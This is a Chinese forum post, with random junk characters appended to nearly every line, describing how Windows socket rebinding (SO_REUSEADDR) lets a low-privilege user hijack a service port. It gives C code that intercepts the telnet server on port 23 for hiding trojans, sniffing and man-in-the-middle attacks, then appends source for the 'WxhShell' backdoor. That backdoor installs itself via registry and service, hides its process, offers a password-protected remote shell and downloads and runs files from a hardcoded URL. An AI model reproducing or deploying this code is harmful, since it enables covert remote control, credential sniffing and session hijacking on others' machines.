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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: =!=DISPo  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Pk:b:(4  
9)'wgI#  
  saddr.sin_family = AF_INET; H4BuxM_r  
V# JuNJ  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 2K2_-  
B";Dj~y  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); /?S,u,R  
"gt*k#  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 c/,B?  
Lp{/  
  这意味着什么?意味着可以进行如下的攻击: on f7V  
U)SQ3*j2D  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 #3YYE5cB  
S>R40T=e  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) Zc=#Y  
z"Wyf6H0T  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 >"D0vj  
8[IR;gZf  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  gO bP  
20)8e!jP  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 WU6F-{M"?  
TWU1@5?Ct  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 Kj+TP qXb  
Jy0(g T  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ?IR+OCAA  
&IFXU2t}  
  #include <^adt *m  
  #include f4^\iZ{`G  
  #include BsYJIKfW  
  #include    s+a#x(7{  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ,772$7x  
  int main() %D[6;PT  
  { w=ZK=@  
  WORD wVersionRequested; +\Je B/F  
  DWORD ret; j`-9.  
  WSADATA wsaData; 0fx.n  
  BOOL val; kQ.3J.Q5  
  SOCKADDR_IN saddr; 1P/4,D@  
  SOCKADDR_IN scaddr; +P=I4-?eX  
  int err; qhNYQ/uS  
  SOCKET s; /z4n?&tM  
  SOCKET sc; 8[u$CTl7a  
  int caddsize; m"vWu0/#  
  HANDLE mt; uD4$<rSHb  
  DWORD tid;   :BUr8%l  
  wVersionRequested = MAKEWORD( 2, 2 ); ExSy/^4f  
  err = WSAStartup( wVersionRequested, &wsaData ); _@sSVh$+  
  if ( err != 0 ) { xUDXg*  
  printf("error!WSAStartup failed!\n"); 6{2 9cX.  
  return -1; -aIB_  
  } hFDo{yI  
  saddr.sin_family = AF_INET; <2fvEW/#v  
   i$z*~SuM#  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 O_&Km[  
II(P  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); S[RVk=A1  
  saddr.sin_port = htons(23); 8&v%>wxR@  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 9S{0vc/2@  
  { <is%lx(GDX  
  printf("error!socket failed!\n"); Bmi9U   
  return -1; - s0QEQ  
  } ;})s o  
  val = TRUE; &MGM9 zm-]  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 k#<Y2FJa  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) CK1gzIg>  
  { /Xw wB  
  printf("error!setsockopt failed!\n"); jn>RE   
  return -1; 0zXF{5Up  
  } _Zbgmasb  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ]]|vQA^  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 iIU>:)i  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ;h7O_|<%  
oqy}?<SQ  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) Q5tx\GE  
  {  ),f d,  
  ret=GetLastError(); <O]B'Wc [  
  printf("error!bind failed!\n"); =kn-F T  
  return -1; r~T3Ieb  
  } 41\V;yib  
  listen(s,2); 1lf]}V  
  while(1) {_]<mwd  
  { YMn_9s7<  
  caddsize = sizeof(scaddr); .0]Odf:@  
  //接受连接请求 1)ZdkTF@H  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); jLreN#:9  
  if(sc!=INVALID_SOCKET) PA>su)N$  
  { /` 4B-Y4M4  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); k_7agW  
  if(mt==NULL) cy#N(S[ 1  
  { <84d Vg  
  printf("Thread Creat Failed!\n"); }G 1hB#j  
  break; XN~r d,MZ%  
  } 5w@Q %'o`I  
  } 1fU~&?&-u  
  CloseHandle(mt); '0/[%Q  
  } %ysf FE  
  closesocket(s); A@JZK+WB}  
  WSACleanup(); Iih]q  
  return 0; ^|=3sJ4[U  
  }   3Uni{Z]Q)  
  DWORD WINAPI ClientThread(LPVOID lpParam) fnudu0k  
  { nWv6I&  
  SOCKET ss = (SOCKET)lpParam; firiYL"=44  
  SOCKET sc; Be2yS]U  
  unsigned char buf[4096]; BI 0 A0  
  SOCKADDR_IN saddr; Qb&gKQtt@  
  long num; VHTr;(]hk  
  DWORD val; +v"%@lC};  
  DWORD ret; q<w Q/m  
  //如果是隐藏端口应用的话,可以在此处加一些判断 qn~:B7f  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   5`[B:<E4  
  saddr.sin_family = AF_INET; w1 tg7^(@  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); Q)}z$h55  
  saddr.sin_port = htons(23); 5tl uS  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) HDT-f9%}<4  
  { D^\2a;[AxA  
  printf("error!socket failed!\n"); 2V=bE-  
  return -1; "3:TrM$|A  
  } $7bux 1L  
  val = 100; "\1QJ  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) W1p5F\ wt  
  { -O?&+xIK&  
  ret = GetLastError(); J1{ucFa  
  return -1; >X-*Hu'U#  
  } ,{u'7p  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) -K%~2M<  
  { A0 1 D-)  
  ret = GetLastError(); wv_<be[?*  
  return -1; $+@xwuY'+  
  } UJ6zgsD1b?  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 2q*aq%  
  { };@J)}  
  printf("error!socket connect failed!\n"); TGu]6NzyZ  
  closesocket(sc); <Z8^.t)|  
  closesocket(ss); 9EKc{1 z  
  return -1; 6`;+|H<$  
  } HVK./y qy  
  while(1) LjMhPzCp  
  { |!H@{o  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 #~`]eM5`J  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 keL!;q|r-)  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ?tFsSU  
  num = recv(ss,buf,4096,0); I 6Mr[#*  
  if(num>0) UIi`bbJ  
  send(sc,buf,num,0); mL[Y{t#N  
  else if(num==0) * IBCThj  
  break; k>q}: J9V  
  num = recv(sc,buf,4096,0); )90K^$93"  
  if(num>0) ;gNoiAxW  
  send(ss,buf,num,0); UV8K$n<  
  else if(num==0) W05>\Rl  
  break; &[|P/gj#>  
  } 5 ]v]^Y'?  
  closesocket(ss); ~ 6-6aYhe  
  closesocket(sc); *]RCfHo\=  
  return 0 ; zCdzxb_h"  
  } >gLLr1L\  
N_),'2  
Ig M_l=  
========================================================== F(#~.i  
AV*eGzz`  
下边附上一个代码,,WXhSHELL m5rJY/  
!_SIq`5]@  
========================================================== ;l>C[6]  
W^AY:#eX~Q  
#include "stdafx.h" *QT|J6ng  
nH % 1lD?:  
#include <stdio.h> y OLqIvN  
#include <string.h> BbdJR]N/!h  
#include <windows.h> &i%1\ o  
#include <winsock2.h> ccu13Kr>E  
#include <winsvc.h> -!b@\=  
#include <urlmon.h> njN]0l{p  
mtn+bV R%  
#pragma comment (lib, "Ws2_32.lib") %:WM]dc  
#pragma comment (lib, "urlmon.lib") '4}c1F1T_  
<UMT:`h1MZ  
#define MAX_USER   100 // 最大客户端连接数 37QXML  
#define BUF_SOCK   200 // sock buffer ]J* y`jn  
#define KEY_BUFF   255 // 输入 buffer lTn~VsoRZ  
 ~ok i s  
#define REBOOT     0   // 重启 {IpIQ-@l  
#define SHUTDOWN   1   // 关机 u  t4+c0  
`[zd  
#define DEF_PORT   5000 // 监听端口 ]~A<Q{  
ZT'Sw%U:  
#define REG_LEN     16   // 注册表键长度 X0"f>.Lg  
#define SVC_LEN     80   // NT服务名长度 +|=5zWI /  
7yK1Q_XY>  
// 从dll定义API 8${Yu  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); eX@7f!uz  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); J \V.J/  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 9M$N>[og  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); f8'$Mn,  
O#5ll2?  
// wxhshell配置信息 , JUP   
struct WSCFG { p&#*  
  int ws_port;         // 监听端口 Y!tjaL 9D  
  char ws_passstr[REG_LEN]; // 口令 >&3ATH;&(  
  int ws_autoins;       // 安装标记, 1=yes 0=no OK^0,0kS3  
  char ws_regname[REG_LEN]; // 注册表键名 bb^$]lT'  
  char ws_svcname[REG_LEN]; // 服务名 'o*:~n  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ,$qqHSd1M  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 qm&Z_6Pw  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 4/B n9F  
int ws_downexe;       // 下载执行标记, 1=yes 0=no %g<J"/  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" }_{QsPx9  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 (s\":5 C  
6(X5n5C  
}; >.-$?2  
X;?Z_3I:5  
// default Wxhshell configuration 7JNy;$]/  
struct WSCFG wscfg={DEF_PORT, 2m?!!We q  
    "xuhuanlingzhe", 2iM8V  
    1, n_Ka+Y<  
    "Wxhshell", ?9 8]\pI  
    "Wxhshell", WZ<kk T  
            "WxhShell Service", 0y3<Ho,+$  
    "Wrsky Windows CmdShell Service", J '^xDIZX  
    "Please Input Your Password: ", *!gj$GK@%  
  1, QF fKEMN  
  "http://www.wrsky.com/wxhshell.exe", X}5aE4K/  
  "Wxhshell.exe" d$G<g78D  
    }; @}e'(ju%R  
DB>Y#2j4h  
// 消息定义模块 {&Bpf K;`)  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ;\ $P;-VY  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ,OQ!lI_`R  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; XT|!XC!|  
char *msg_ws_ext="\n\rExit."; weOzs]uc  
char *msg_ws_end="\n\rQuit."; &z\]A,=T c  
char *msg_ws_boot="\n\rReboot..."; -*K!JC-  
char *msg_ws_poff="\n\rShutdown..."; 5w#*JK   
char *msg_ws_down="\n\rSave to "; '%m0@5|hCD  
7(<49bb.V  
char *msg_ws_err="\n\rErr!"; =!#iC?I  
char *msg_ws_ok="\n\rOK!"; 0KF)+`CC>  
,ZYj8^gF  
char ExeFile[MAX_PATH]; #89h}mp'  
int nUser = 0; Bn"r;pqWiT  
HANDLE handles[MAX_USER]; WR*|kh  
int OsIsNt; Hh bf9)  
/Jc?;@{  
SERVICE_STATUS       serviceStatus; 1x07ua@(v  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; .=>T yq  
P'Fy,fNg  
// 函数声明 hao0_9q+  
int Install(void); x Qh?  
int Uninstall(void); sX&M+'h  
int DownloadFile(char *sURL, SOCKET wsh); S%ri/}qI[{  
int Boot(int flag); h]94\XQ>$  
void HideProc(void); rI:KZ}GZ  
int GetOsVer(void); RT45@   
int Wxhshell(SOCKET wsl); O8+[ )+6^  
void TalkWithClient(void *cs); 4JHQ^i-aY  
int CmdShell(SOCKET sock); Or9@X=C  
int StartFromService(void); i;0`d0^  
int StartWxhshell(LPSTR lpCmdLine); tH:K6^oR  
(/_Q r2KfC  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); P#H#@:/3  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); @Y>3-,o,S  
+fhyw{  
// 数据结构和表定义 |7Q8WjCQ{m  
SERVICE_TABLE_ENTRY DispatchTable[] = R0<ka[+  
{ n;"4`6L~  
{wscfg.ws_svcname, NTServiceMain}, z#!xqIg0  
{NULL, NULL} 7[-jr;v  
}; v.1= TBh  
(oxe\Qk  
// 自我安装 'D-#,X C  
int Install(void) yvxC/Jo4  
{ 6QRfju'  
  char svExeFile[MAX_PATH]; =3=KoH/'  
  HKEY key; 13Z6dhZu  
  strcpy(svExeFile,ExeFile); s\&_Kbw] c  
 W4CI=94  
// 如果是win9x系统,修改注册表设为自启动 $/C<^}A  
if(!OsIsNt) { 71tMX[x  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ]tZ5XS  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); h6x+.}}  
  RegCloseKey(key);  &1Fcwj  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { EGwY|+3  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 'w%N(Ntq  
  RegCloseKey(key); vc2xAAQ  
  return 0; 7/vr!tbL`p  
    } ?E2k]y6<  
  } ^BM/K&7^  
} ](0 Vm_es  
else { >B~jPU  
wO_pcNYZ8  
// 如果是NT以上系统,安装为系统服务 8A8xY446)  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); JM+sHHs  
if (schSCManager!=0) RSPRfYU/  
{ xU13fl  
  SC_HANDLE schService = CreateService ttbQergS  
  ( 1YIux,2\  
  schSCManager, LF9aw4:>Ou  
  wscfg.ws_svcname, !skb=B#  
  wscfg.ws_svcdisp, ^E<~zO=Z  
  SERVICE_ALL_ACCESS, )0 n29  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , {b-0_  
  SERVICE_AUTO_START, # McK46B z  
  SERVICE_ERROR_NORMAL, X$uz=)  
  svExeFile, N1+4bR  
  NULL, Bgk~R.l  
  NULL, fD\^M{5f  
  NULL, ^aD/ .  
  NULL, 59Tg"3xB<  
  NULL *3F /Ft5  
  ); [!:-m61  
  if (schService!=0) /HjI=263  
  { ek(kY6x:  
  CloseServiceHandle(schService); }/7.+yD  
  CloseServiceHandle(schSCManager); CFkW@\]  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); D?\"  
  strcat(svExeFile,wscfg.ws_svcname); k67i`f=  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { XMeL^|D  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); nv_m!JG7  
  RegCloseKey(key); STXqq[+Rf  
  return 0; gf3u0' $  
    } <(#xOe  
  } `b^#quz  
  CloseServiceHandle(schSCManager); oA!5dpNhU  
} - 5o<Q'(  
} j:v~MrQ7|  
mI?* Z%>g  
return 1; =2;mxJ#o  
} '.%iPMM  
W>q*.9}Y"  
// 自我卸载 Jv 6nlK`  
int Uninstall(void) ~ F?G5cN5  
{ t-eKruj+  
  HKEY key; 0gv3v@QO  
P^K?E  
if(!OsIsNt) { \'s$ZN$k  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { xJ=ZQ)&]  
  RegDeleteValue(key,wscfg.ws_regname); _A;vSp.`  
  RegCloseKey(key); eN<>#: `  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 7,W]zKH  
  RegDeleteValue(key,wscfg.ws_regname); ;<bj{#mMv  
  RegCloseKey(key); E'&OOEMN-  
  return 0; &AQg'|  
  } qEK4I}Q-=  
} /`4v"f0V  
} >YJ8u{Z{o  
else { ]/ZA/:Oa+  
e9z$+h  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); G!!-+n<  
if (schSCManager!=0) #RR:3ZP ZC  
{ B&4fYpn  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); e?^ \r)1  
  if (schService!=0) 3r~>~ueZ  
  { ueWR/  
  if(DeleteService(schService)!=0) { iioct_7,g<  
  CloseServiceHandle(schService); bxd3  
  CloseServiceHandle(schSCManager); _S9rF-9G]  
  return 0; q9W~7  
  } .q5J^/kr  
  CloseServiceHandle(schService); 5 4ak<&?  
  } r3+<r<gs  
  CloseServiceHandle(schSCManager); aW`:)y&f  
} _XH4;uGg  
} eD*?q7  
_" ?c9  
return 1; z9k*1:  
} b"ol\&1 #  
r,`Z.A  
// 从指定url下载文件 y'J:?!S,Yu  
int DownloadFile(char *sURL, SOCKET wsh) (xk.NZn F  
{ VZT6;1TD$8  
  HRESULT hr; h.4qlx|  
char seps[]= "/"; jgo e^f  
char *token; f nLR  
char *file; IZ4W_NN  
char myURL[MAX_PATH]; ONjC(7  
char myFILE[MAX_PATH]; rmY,v  
]Y_{P~ZX  
strcpy(myURL,sURL); \GijNn9ah  
  token=strtok(myURL,seps); -:)DX++  
  while(token!=NULL) Nk lz_ ]  
  { n~1tm  
    file=token; R4#;<)  
  token=strtok(NULL,seps); CTh1+&Pa  
  } ]^iFqQe  
|_l<JQvf`E  
GetCurrentDirectory(MAX_PATH,myFILE); 0OleO9Ua  
strcat(myFILE, "\\"); A5CdLwk  
strcat(myFILE, file); i&A{L}eCr:  
  send(wsh,myFILE,strlen(myFILE),0); .+{nA}Bc  
send(wsh,"...",3,0); tj#=%m?8V;  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); qiG]nCq  
  if(hr==S_OK) %/{IssCR7  
return 0; BKa A=Bl  
else -vyIOH,  
return 1; #5'c\\?Q  
07.nq;/R  
} 3c01uObTL  
"-G&=(  
// 系统电源模块 u/z,92mmS  
int Boot(int flag) 8ku? W  
{ d4jVdOq2  
  HANDLE hToken; 1U717u  
  TOKEN_PRIVILEGES tkp; ((Vj]I% ;  
Hfh@<'NL]  
  if(OsIsNt) { MC4284A5  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); sx-EA&5-9k  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Oq #o1>  
    tkp.PrivilegeCount = 1; [Z#+gh  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Dl0/-=L  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); F{TC#J}I%'  
if(flag==REBOOT) { y<O@rD8iA  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Wr]O  
  return 0; 4a\n4KO X  
} xCR; K]!  
else { ]XmQ]Yit  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) whV&qe;sw  
  return 0; gsW=3m&`  
} Z 6 tE{/  
  } ?RZq =5Um&  
  else { 4st~3,lR$  
if(flag==REBOOT) { t{+ M|Y  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) o)0C-yO0qf  
  return 0; 77+| #< J  
} /uK)rG F  
else { Bs_S.JP<`  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) KjO-0VMN3  
  return 0; A{4Dzm!  
} *6NO-T; -  
} A;odVaH7  
u8 |@|t  
return 1; C>AcK#-x,{  
} Z+Kv+GmqH  
K|`+C1!  
// win9x进程隐藏模块 J2rvJ2l=t  
void HideProc(void) j%#?m2J}  
{ P;j&kuW|zL  
fr8Xoa%1=  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); pI  &o?n  
  if ( hKernel != NULL ) Bk&-1>cY  
  { J cP~-cp  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 7 rH'1U  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); [:Be[pLC  
    FreeLibrary(hKernel); IbF 4k .J  
  } U$A/bEhw  
x:p}w[WM  
return; DP|TIt,Rl  
}  ,Qat  
I%SuT7"Do  
// 获取操作系统版本 E3y6c)<  
int GetOsVer(void) NPS .6qY  
{ Kl2}o|b   
  OSVERSIONINFO winfo; Tj Mb>w9  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); <'W=]IAV  
  GetVersionEx(&winfo); YdK _.t0Mu  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 5f8"j$Az  
  return 1; R|-6o)$  
  else DUqJ y*F(  
  return 0; w %;hl#s  
} 7LG+$LEz  
b9`iZ  
// 客户端句柄模块 5bXHz5i  
int Wxhshell(SOCKET wsl) ooY\t +  
{ DTPay1]6  
  SOCKET wsh; e]>/H8  
  struct sockaddr_in client; J6DnPaw-G  
  DWORD myID; 'm[6v}  
Np$z%ewK.  
  while(nUser<MAX_USER) !z?0 :Jg  
{ p<q].^M  
  int nSize=sizeof(client); MvBD@`&7  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); u %'y_C3  
  if(wsh==INVALID_SOCKET) return 1; 8[oYZrg  
`v~!H\q  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); n3'dLJH|  
if(handles[nUser]==0) -xz|ayn  
  closesocket(wsh); !Qcir&]C>  
else w(Gz({l+  
  nUser++; TMqY4;UeL  
  } 2yvVeo&3  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); xkM] J)C  
6%E~p0)i%  
  return 0; j AQU~Ol_  
} *!Y- !  
a&C.=  
// 关闭 socket []"=]f{1};  
void CloseIt(SOCKET wsh) '#A:.P  
{ #sZIDn J#  
closesocket(wsh); x~EKGoz3  
nUser--; 7-X/>v  
ExitThread(0); yc[(lq.^n  
} MQJ%He"  
&L%Jy #=  
// 客户端请求句柄 Ib6(Bp9.L  
void TalkWithClient(void *cs) h8jB=e, H  
{ IM=+3W;ak  
W^k,Pmopy  
  SOCKET wsh=(SOCKET)cs; @;;G88=  
  char pwd[SVC_LEN]; ;%W dvnW  
  char cmd[KEY_BUFF]; uH\w.  
char chr[1]; 4%J|DcY2  
int i,j; 5,R`@&K3D  
NF mc>0-  
  while (nUser < MAX_USER) { p,;mYms  
\_ 9rr6^ "  
if(wscfg.ws_passstr) { f?^S bp  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); =m9i)Q  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ) |MJnx9  
  //ZeroMemory(pwd,KEY_BUFF); oNIFx5*Z  
      i=0; (ND%}  
  while(i<SVC_LEN) { Z(; AyTXA  
 HxIoA  
  // 设置超时 P6YQK+  
  fd_set FdRead; B?3juyB`--  
  struct timeval TimeOut; hVM2/j  
  FD_ZERO(&FdRead); r|fO7PD  
  FD_SET(wsh,&FdRead); 5)`h0TK  
  TimeOut.tv_sec=8; Xm|ib%no  
  TimeOut.tv_usec=0; ,9\Snn  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); K6B4sE  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 8teJ*sz  
.YR8v1Cp  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 'I v_mig  
  pwd=chr[0]; 6,+nRiZ  
  if(chr[0]==0xd || chr[0]==0xa) { #tDW!Xv?  
  pwd=0; Kt6>L5:94  
  break; % O%xpSYr  
  } YB5dnS"n  
  i++; \bold"  
    } J633uH}}  
OH6n^WKY  
  // 如果是非法用户,关闭 socket LuS+_|]x  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); f{ ^:3"i  
}  iSiDSeW8  
rwgsXS8W6  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ,Sg33N ?  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); opD-vDa h  
mmP U  
while(1) { L/i(KF{  
ARWZ; GX  
  ZeroMemory(cmd,KEY_BUFF); * t!r@k  
vv+J0f^  
      // 自动支持客户端 telnet标准   wf9z"B  
  j=0; +EkW>$  
  while(j<KEY_BUFF) { sV2iITF p  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);  ;:OsSq&  
  cmd[j]=chr[0]; B+"g2Y  
  if(chr[0]==0xa || chr[0]==0xd) { c AEokP  
  cmd[j]=0; AVFjBybu9  
  break; BQ#L+9%  
  } <n^3uXzD  
  j++; CW`!}yu%  
    } l r~gG3   
<kbyZXV@K  
  // 下载文件 t&}6;z 3  
  if(strstr(cmd,"http://")) { Vz"u>BP3~  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); x_!ZycEa  
  if(DownloadFile(cmd,wsh)) +S9PML){h  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); JE;+T[I  
  else Phs-(3  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); WG5W0T_  
  } >|*yh~  
  else { DDeE(E  
XUmR{A  
    switch(cmd[0]) { *e/K:k  
  b{5K2k&,  
  // 帮助 =SBBvnPLI  
  case '?': { yI)~]K r  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); RU&_j* U  
    break; C@gXT]Q 0}  
  } ao$.6X8fQ  
  // 安装 IIz0m3';+  
  case 'i': { 9[Qd)%MO  
    if(Install()) %*W<vu>H  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); `xz&Scil  
    else ^p=L\SJ  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); M1!pQC_9  
    break; M+xdHBg  
    } R_kQPP  
  // 卸载 Q@QFV~  
  case 'r': { s;1h-Oq (  
    if(Uninstall()) ;[$n=VX`  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); -<f;l _(  
    else Q+$Tt7/  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); +j[oEI`e  
    break; Z|* !y]We  
    } $_X|, v9  
  // 显示 wxhshell 所在路径 23ze/;6%A  
  case 'p': { f3tv3>p  
    char svExeFile[MAX_PATH]; * fc-gAj  
    strcpy(svExeFile,"\n\r"); HY}j!X  
      strcat(svExeFile,ExeFile); L,]=vba'$  
        send(wsh,svExeFile,strlen(svExeFile),0); L%cVykWY"  
    break; .v\\Tq&"|  
    } ~;#MpG;e  
  // 重启 "!UVs+)]  
  case 'b': { R;}22s  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); yR71%]*.  
    if(Boot(REBOOT)) y,Q5; $w8  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); AuiFbRFi  
    else { S h4wqf  
    closesocket(wsh); <7sIm^N  
    ExitThread(0); 9#/(N#>  
    } rrBAQY|.  
    break; KMK`F{  
    } 7^:4A'  
  // 关机 E]} n(  
